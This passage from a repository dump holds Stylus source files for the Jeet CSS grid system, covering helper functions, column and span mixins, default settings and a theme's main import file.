ratio * gutter 22 | 23 | return width gutter 24 | 25 | /** 26 | * Get the set layout direction for the project. 27 | * @returns {string} result - The layout direction. 28 | */ 29 | jeet-get-layout-direction() 30 | jeet.layout-direction == RTL ? result = right : result = left 31 | 32 | return result 33 | 34 | /** 35 | * Replace a specified list value with a new value. 36 | * @param {list} list - The list of values you want to alter. 37 | * @param {number} index - The index of the list item you want to replace. 38 | * @param {*} value - The value you want to replace $index with. 39 | * @returns {list} result - The list with the value replaced. 40 | */ 41 | jeet-replace-nth(list, index, value) 42 | result = () 43 | index = length(list) + index if index < 0 44 | 45 | for i in (0..(length(list) - 1)) 46 | if i == index 47 | append(result, value) 48 | else 49 | append(result, list[i]) 50 | 51 | return result 52 | 53 | /** 54 | * Reverse a list. 55 | * @param {list} list - The list of values you want to reverse. 56 | * @returns {list} result - The reversed list. 57 | */ 58 | jeet-reverse(list) 59 | result = () 60 | 61 | for item in list 62 | prepend(result, item) 63 | 64 | return result 65 | -------------------------------------------------------------------------------- /src/styl/jeet/_grid.styl: -------------------------------------------------------------------------------- 1 | /** 2 | * Style an element as a column with a gutter. 3 | * @param {number} [ratios=1] - A width relative to its container as a fraction. 4 | * @param {number} [offset=0] - A offset specified as a fraction (see ratios). 5 | * @param {number} [cycle=0] - Easily create an nth column grid where cycle equals the number of columns. 6 | * @param {number} [uncycle=0] - Undo a previous cycle value to allow for a new one. 7 | * @param {number} [gutter=jeet.gutter] - Specify the gutter width as a percentage of the containers width. 8 | */ 9 | column(ratios = 1, offset = 0, cycle = 0, uncycle = 0, gutter = jeet.gutter) 10 | side = jeet-get-layout-direction() 11 | opposite-side = opposite-position(side) 12 | column-widths = jeet-get-column(ratios, gutter) 13 | margin-last = 0 14 | margin-l = margin-last 15 | margin-r = column-widths[1] 16 | 17 | unless offset == 0 18 | if offset < 0 19 | offset *= -1 20 | offset = jeet-get-column(offset, column-widths[1])[0] 21 | margin-r = margin-last = offset + column-widths[1] * 2 22 | else 23 | offset = jeet-get-column(offset, column-widths[1])[0] 24 | margin-l = offset + column-widths[1] 25 | 26 | cf() 27 | float: side 28 | clear: none 29 | text-align: inherit 30 | width: (column-widths[0])% 31 | margin-{side}: (margin-l)% 32 | margin-{opposite-side}: (margin-r)% 33 | 34 | if uncycle != 0 35 | &:nth-child({uncycle}n) 36 | margin-{opposite-side}: (margin-r)% 37 | float: side 38 | &:nth-child({uncycle}n+1) 39 | clear: none 40 | 41 | if cycle != 0 42 | &:nth-child({cycle}n) 43 | margin-{opposite-side}: (margin-last)% 44 | float: opposite-side 45 | &:nth-child({cycle}n+1) 46 | clear: both 47 | else 48 | &:last-child 49 | margin-{opposite-side}: (margin-last)% 50 | 51 | /** 52 | * An alias for the column mixin. 53 | */ 54 | col = column 55 | 56 | /** 57 | * Get the width of a column and nothing else. 58 | * @param {number} [ratios=1] - A width relative to its container as a fraction. 59 | * @param {number} [g=jeet.gutter] - Specify the gutter width as a percentage of the containers width. 60 | */ 61 | column-width(ratios = 1, g = jeet.gutter) 62 | ratios = jeet-reverse(ratios) unless jeet.parent-first is true 63 | w = 100 64 | 65 | for ratio in ratios 66 | w = 100 * ratio - g + ratio * g 67 | 68 | return w + '%' 69 | 70 | /** 71 | * An alias for the column-width function. 72 | */ 73 | cw = column-width 74 | 75 | /** 76 | * Get the gutter size of a column and nothing else. 77 | * @param {number} [ratios=1] - A width relative to its container as a fraction. 78 | * @param {number} [g=jeet.gutter] - Specify the gutter width as a percentage of the containers width. 79 | */ 80 | column-gutter(ratios = 1, g = jeet.gutter) 81 | ratios = jeet-reverse(ratios) unless jeet.parent-first is true 82 | w = 100 83 | 84 | for ratio in ratios 85 | g = g / w * 100 86 | 87 | return g + '%' 88 | 89 | /** 90 | * An alias for the column-gutter function. 91 | */ 92 | cg = column-gutter 93 | 94 | /** 95 | * Style an element as a column without any gutters for a seamless row. 96 | * @param {number} [ratios=1] - A width relative to its container as a fraction. 97 | * @param {number} [offset=0] - A offset specified as a fraction (see ratios). 98 | * @param {number} [cycle=0] - Easily create an nth column grid where cycle equals the number of columns. 99 | * @param {number} [uncycle=0] - Undo a previous cycle value to allow for a new one. 100 | */ 101 | span(ratio = 1, offset = 0, cycle = 0, uncycle = 0) 102 | side = jeet-get-layout-direction() 103 | opposite-side = opposite-position(side) 104 | span-width = jeet-get-span(ratio) 105 | margin-r = 0 106 | margin-l = margin-r 107 | 108 | unless offset == 0 109 | if offset < 0 110 | offset *= -1 111 | margin-r = jeet-get-span(offset) 112 | else 113 | margin-l = jeet-get-span(offset) 114 | 115 | cf() 116 | float: side 117 | clear: none 118 | text-align: inherit 119 | width: (span-width)% 120 | margin-{side}: (margin-l)% 121 | margin-{opposite-side}: (margin-r)% 122 | 123 | if cycle != 0 124 | &:nth-child({cycle}n) 125 | float: opposite-side 126 | &:nth-child({cycle}n + 1) 127 | clear: both 128 | 129 | if uncycle != 0 130 | &:nth-child({uncycle}n) 131 | float: side 132 | &:nth-child({uncycle}n + 1) 133 | clear: none 134 | 135 | /** 136 | * Reorder columns without altering the HTML. 137 | * @param {number} [ratios=0] - Specify how far along you want the element to move. 138 | * @param {string} [col-or-span=column] - Specify whether the element has a gutter or not. 139 | * @param {number} [gutter=jeet.gutter] - Specify the gutter width as a percentage of the containers width. 140 | */ 141 | shift(ratios = 0, col-or-span = column, gutter = jeet.gutter) 142 | translate = '' 143 | side = jeet-get-layout-direction() 144 | 145 | if side == right 146 | ratios = jeet-replace-nth(ratios, 0, ratios[0] * -1) 147 | 148 | if col-or-span == column or col-or-span == col or col-or-span == c 149 | column-widths = jeet-get-column(ratios, gutter) 150 | translate = column-widths[0] + column-widths[1] 151 | else 152 | translate = jeet-get-span(ratios) 153 | 154 | position: relative 155 | left: (translate)% 156 | 157 | /** 158 | * Reset an element that has had shift() applied to it. 159 | */ 160 | unshift() 161 | position: static 162 | left: 0 163 | 164 | /** 165 | * View the grid and its layers for easy debugging. 166 | * @param {string} [color=black] - The background tint applied. 167 | * @param {boolean} [important=false] - Whether to apply the style as !important. 168 | */ 169 | edit(color = black, important = false) 170 | if important 171 | * 172 | background: rgba(color, 5%) !important 173 | else 174 | * 175 | background: rgba(color, 5%) 176 | 177 | /** 178 | * Alias for edit(). 179 | */ 180 | debug = edit 181 | 182 | /** 183 | * Horizontally center an element. 184 | * @param {number} [max-width=jeet.max-width] - The max width the element can be. 185 | * @param {number} [pad=0] - Specify the element's left and right padding. 186 | */ 187 | center(max-width = jeet.max-width, pad = 0) 188 | cf() 189 | width: auto 190 | max-width: max-width 191 | float: none 192 | display: unquote('block') 193 | margin-right: auto 194 | margin-left: auto 195 | padding-left: pad 196 | padding-right: pad 197 | 198 | /** 199 | * Uncenter an element. 200 | */ 201 | uncenter() 202 | max-width: none 203 | margin-right: 0 204 | margin-left: 0 205 | padding-left: 0 206 | padding-right: 0 207 | 208 | /** 209 | * Stack an element so that nothing is either side of it. 210 | * @param {number} [pad=0] - Specify the element's left and right padding. 211 | * @param {bollean/string} [align=false] - Specify the text align for the element. 212 | */ 213 | stack(pad = 0, align = false) 214 | side = jeet-get-layout-direction() 215 | opposite-side = opposite-position(side) 216 | 217 | display: unquote('block') 218 | clear: both 219 | float: none 220 | width: 100% 221 | margin-left: auto 222 | margin-right: auto 223 | 224 | &:first-child 225 | margin-{side}: auto 226 | 227 | &:last-child 228 | margin-{opposite-side}: auto 229 | 230 | if pad != 0 231 | padding-left: pad 232 | padding-right: pad 233 | 234 | if (align is not false) 235 | if (align == center) or (align == c) 236 | text-align: center 237 | if (align == left) or (align == l) 238 | text-align: left 239 | if (align == right) or (align == r) 240 | text-align: right 241 | 242 | /** 243 | * Unstack an element. 244 | */ 245 | unstack() 246 | side = jeet-get-layout-direction() 247 | opposite-side = opposite-position(side) 248 | 249 | text-align: side 250 | display: inline 251 | clear: none 252 | width: auto 253 | margin-left: 0 254 | margin-right: 0 255 | 256 | &:first-child 257 | margin-{side}: 0 258 | 259 | &:last-child 260 | margin-{opposite-side}: 0 261 | 262 | /** 263 | * Center an element on either or both axes. 264 | * @requires A parent container with relative positioning. 265 | * @param {string} [direction=both] - Specify which axes to center the element on. 266 | */ 267 | align(direction = both) 268 | position: absolute 269 | transform-style: preserve-3d 270 | 271 | if (direction == horizontal) or (direction == h) 272 | left: 50% 273 | transform: translateX(-50%) 274 | else if (direction == vertical) or (direction == v) 275 | top: 50% 276 | transform: translateY(-50%) 277 | else 278 | top: 50% 279 | left: 50% 280 | transform: translate(-50%, -50%) 281 | 282 | /** 283 | * Apply a clearfix to an element. 284 | */ 285 | cf() 286 | *zoom: 1 287 | 288 | &:before, &:after 289 | content: '' 290 | display: table 291 | 292 | &:after 293 | clear: both 294 | -------------------------------------------------------------------------------- /src/styl/jeet/_settings.styl: -------------------------------------------------------------------------------- 1 | /** 2 | * Grid settings. 3 | * All values are defaults and can therefore be easily overidden. 4 | */ 5 | 6 | jeet = { 7 | gutter: 3, 8 | parent-first: false, 9 | layout-direction: LTR, 10 | max-width: 1440px 11 | } 12 | -------------------------------------------------------------------------------- /src/styl/jeet/index.styl: -------------------------------------------------------------------------------- 1 | /* Syntax Quick Reference 2 | -------------------------- 3 | column(ratios = 1, offset = 0, cycle = 0, uncycle = 0, gutter = jeet.gutter) 4 | span(ratio = 1, offset = 0) 5 | shift(ratios = 0, col_or_span = column, gutter = jeet.gutter) 6 | unshift() 7 | edit() 8 | center(max_width = 1410px, pad = 0) 9 | stack(pad = 0, align = false) 10 | unstack() 11 | align(direction = both) 12 | cf() 13 | */ 14 | 15 | @import '_settings' 16 | @import '_functions' 17 | @import '_grid' 18 | -------------------------------------------------------------------------------- /src/styl/main.styl: -------------------------------------------------------------------------------- 1 | /* Syntax Quick Reference for Jeet 2 | -------------------------- 3 | column(ratios = 1, offset = 0, cycle = 0, uncycle = 0, gutter = jeet.gutter) 4 | span(ratio = 1, offset = 0) 5 | shift(ratios = 0, col_or_span = column, gutter = jeet.gutter) 6 | unshift() 7 | edit() 8 | center(max_width = 1410px, pad = 0) 9 | stack(pad = 0, align = false) 10 | unstack() 11 | align(direction = both) 12 | cf() 13 | 14 | For more info see: 15 | Kouto Swiss Doc: http://kouto-swiss.io/ 16 | Jeet Doc: http://jeet.gs 17 | 18 | And of course, look in node_modules for axis-css and jeet 19 | */ 20 | 21 | @import "kouto-swiss" 22 | @import "jeet" 23 | normalize() 24 | @import "_variables" 25 | @import "_typo" 26 | @import "_animations" 27 | @import "_icons" 28 | @import "_menu" 29 | @import "_search" 30 | @import "_elements" 31 | @import "_header" 32 | @import "_postlist" 33 | @import "_post" 34 | @import "_page" 35 | @import "_hightlight" 36 | @import "_author" 37 | @import "_footer" 38 | --------------------------------------------------------------------------------